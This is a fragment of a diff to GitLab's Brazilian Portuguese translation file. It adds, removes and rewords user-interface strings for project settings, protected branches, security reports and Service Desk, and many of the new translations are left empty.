+msgid "ProjectSettings|Every merge creates a merge commit."
+msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
msgstr ""
@@ -23639,7 +24263,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr ""
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -23651,8 +24275,8 @@ msgstr "Falha ao atualizar a tag!"
msgid "ProjectSettings|Fast-forward merge"
msgstr "Executar merge com fast-forward"
-msgid "ProjectSettings|Fast-forward merges only"
-msgstr "Merges com fast-forward apenas"
+msgid "ProjectSettings|Fast-forward merges only."
+msgstr ""
msgid "ProjectSettings|Forks"
msgstr ""
@@ -23663,10 +24287,10 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -23699,11 +24323,14 @@ msgstr "Opções de merge"
msgid "ProjectSettings|Merge requests"
msgstr ""
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
-msgid "ProjectSettings|No merge commits are created"
-msgstr "Nenhum commit de merge foi criado"
+msgid "ProjectSettings|No merge commits are created."
+msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
msgstr ""
@@ -23726,15 +24353,9 @@ msgstr ""
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr "Pipelines devem ter êxito"
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr "Pipelines precisam ser configurados para habilitar essa funcionalidade."
-
msgid "ProjectSettings|Private"
msgstr ""
@@ -23765,7 +24386,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -23774,8 +24395,8 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
-msgstr "Mostrar link para criar/ver merge request ao fazer push da linha de comando"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
+msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
msgstr ""
@@ -23795,16 +24416,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
-msgstr ""
-
-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -23816,12 +24434,15 @@ msgstr "Essa configuração está aplicada no nível do servidor, mas foi sobres
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr "Essa configuração será aplicada a todos os projetos a menos que seja sobrescrita por um administrador."
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
-msgstr "Isso determinará o histórico de commit quando você faz merge de uma merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
+msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -23849,11 +24470,11 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
-msgstr "Quando conflitos surgem, o usuários tem a opção de fazer rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
+msgstr ""
msgid "ProjectSettings|Wiki"
msgstr ""
@@ -24386,6 +25007,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr ""
@@ -24407,7 +25037,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24428,6 +25058,9 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -24602,7 +25235,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -24791,8 +25424,8 @@ msgstr ""
msgid "Reduce this project’s visibility?"
msgstr ""
-msgid "Reference:"
-msgstr "Referência:"
+msgid "Reference"
+msgstr ""
msgid "References"
msgstr ""
@@ -24954,7 +25587,7 @@ msgstr "Versões"
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -24966,7 +25599,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -24990,6 +25623,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -25038,9 +25674,6 @@ msgstr "Remover relacionamento de fork"
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr ""
@@ -25287,6 +25920,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25330,8 +25966,8 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
-msgstr "Classe"
+msgid "Reports|Base report parsing error:"
+msgstr ""
msgid "Reports|Classname"
msgstr "Noma da classe"
@@ -25352,6 +25988,12 @@ msgstr[1] ""
msgid "Reports|Failure"
msgstr "Falha"
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25478,6 +26120,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr "Limpeza do repositório"
@@ -25574,6 +26219,9 @@ msgstr "Solicita Perfis"
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -25882,7 +26530,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -26026,6 +26677,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -26059,9 +26713,6 @@ msgstr ""
msgid "Running"
msgstr "Executando"
-msgid "Running…"
-msgstr "Executando…"
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr ""
@@ -26158,6 +26809,9 @@ msgstr "Salvar alterações antes de testar"
msgid "Save comment"
msgstr "Salvar comentário"
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr "Salvar senha"
@@ -26176,6 +26830,9 @@ msgstr ""
msgid "Saving project."
msgstr "Salvando projeto."
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26200,9 +26857,6 @@ msgstr "Agendamentos"
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr "Agendando pipelines"
@@ -26254,6 +26908,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26305,6 +26962,9 @@ msgstr ""
msgid "Search forks"
msgstr "Pesquisar forks"
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26314,6 +26974,9 @@ msgstr "Pesquisar merge requests"
msgid "Search milestones"
msgstr "Pesquisar marcos"
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr "Pesquisar ou filtrar resultados..."
@@ -26519,6 +27182,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26594,13 +27260,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -26609,10 +27281,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26627,6 +27299,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -26684,16 +27359,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
+msgstr ""
+
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -26759,15 +27446,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -26819,9 +27497,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -26831,9 +27506,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -26870,6 +27542,9 @@ msgstr "Selecionar Página"
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr "Selecione um arquivo da barra lateral na esquerda para começar a editar. Depois, você poderá fazer commit das suas alterações."
@@ -26879,8 +27554,8 @@ msgstr "Selecione um grupo para convidar"
msgid "Select a label"
msgstr "Selecione uma etiqueta"
-msgid "Select a namespace to fork the project"
-msgstr "Selecione um namespace para realizar o fork do projeto"
+msgid "Select a milestone"
+msgstr ""
msgid "Select a new namespace"
msgstr "Selecione um novo namespace"
@@ -26909,9 +27584,15 @@ msgstr "Selecionar fuso horário"
msgid "Select all"
msgstr "Selecionar todos"
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -26966,9 +27647,6 @@ msgstr "Selecione o projeto para escolher a zona"
msgid "Select projects"
msgstr "Selecionar projetos"
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -27062,6 +27740,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27200,20 +27881,44 @@ msgstr "Balcão de Atendimento"
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
+msgstr "Modelos de serviço"
+
+msgid "Service URL"
+msgstr "URL de serviço"
+
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
msgstr ""
-msgid "Service Templates"
-msgstr "Modelos de serviço"
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
-msgid "Service URL"
-msgstr "URL de serviço"
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
+msgstr ""
msgid "Session ID"
msgstr ""
@@ -27314,6 +28019,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27368,7 +28076,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr "defina uma senha"
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27380,6 +28088,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr "Limpar status"
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr "Editar status"
@@ -27401,6 +28112,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr "Qual é o seu status?"
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -27606,9 +28320,15 @@ msgstr[1] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr ""
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr ""
@@ -27627,6 +28347,9 @@ msgstr ""
msgid "Side-by-side"
msgstr "Lado a lado"
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -27867,6 +28590,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr "Alguém editou este merge request ao mesmo tempo que você. Por favor, atualize a página para ver as alterações."
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28545,13 +29271,13 @@ msgstr "Status:"
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -28566,9 +29292,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -28581,7 +29304,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -28671,9 +29394,6 @@ msgstr "Subchaves"
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -28689,9 +29409,6 @@ msgstr ""
msgid "Submit feedback"
msgstr "Enviar feedback"
-msgid "Submit issue"
-msgstr "Enviar issue"
-
msgid "Submit review"
msgstr "Enviar análise"
@@ -28749,9 +29466,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29377,6 +30091,11 @@ msgstr ""
msgid "Test coverage parsing"
msgstr "Análise de cobertura de teste"
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29534,9 +30253,6 @@ msgstr[1] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29609,6 +30325,9 @@ msgstr ""
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -29636,6 +30355,9 @@ msgstr "O domínio que você digitou não é permitido."
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -29648,6 +30370,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -29710,6 +30435,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr "A importação expirará após %{timeout}. Para repositórios que demoram mais tempo, use a combinação clone/push."
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr "O convite não pôde ser aceito."
@@ -29770,6 +30498,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -29842,6 +30573,9 @@ msgstr "A coleção de dados pseudonymizer está desativada. Quando ativada, o G
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -29893,6 +30627,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr "A etapa de homologação mostra o tempo entre o aceite da solicitação de incorporação e a implantação do código no ambiente de produção. Os dados serão automaticamente adicionados depois que você implantar em produção pela primeira vez."
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -29941,6 +30678,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -29968,6 +30711,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr "Ainda não há projetos arquivados"
@@ -30001,9 +30747,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr "Não há issues para mostrar"
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30247,6 +30990,9 @@ msgstr "Erro ao redefinir token do email."
msgid "There was an error when subscribing to this label."
msgstr "Erro ao se inscrever nessa etiqueta."
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr "Erro ao se anular a inscrição dessa etiqueta."
@@ -30385,7 +31131,7 @@ msgstr "O escopo deste painel está reduzido"
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -30469,6 +31215,9 @@ msgstr ""
msgid "This group"
msgstr "Esse grupo"
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30478,6 +31227,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30490,6 +31242,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -30796,9 +31551,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr "Esses e-mails se tornam automaticamente issues (com os comentários se tornando a conversa por e-mail) listados aqui."
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -30895,9 +31647,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31196,6 +31945,15 @@ msgstr ""
msgid "To GitLab"
msgstr "Para o GitLab"
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31238,9 +31996,6 @@ msgstr "Para começar, insira seu URL do FogBugz e as informações de login aba
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr "Para começar, vincule essa página ao seu servidor do Jaeger, ou descubra como %{link_start_tag}instalar o Jaeger%{link_end_tag}"
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr "Para começar, insira seu URL de Host do Gitea e um %{link_to_personal_token}."
@@ -31268,7 +32023,7 @@ msgstr "Para mover ou copiar todo um projeto do GitLab de outra instalação do
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -31373,6 +32128,9 @@ msgstr "Alternar prêmio de emoji"
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr "Alternar navegação"
@@ -31570,10 +32328,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
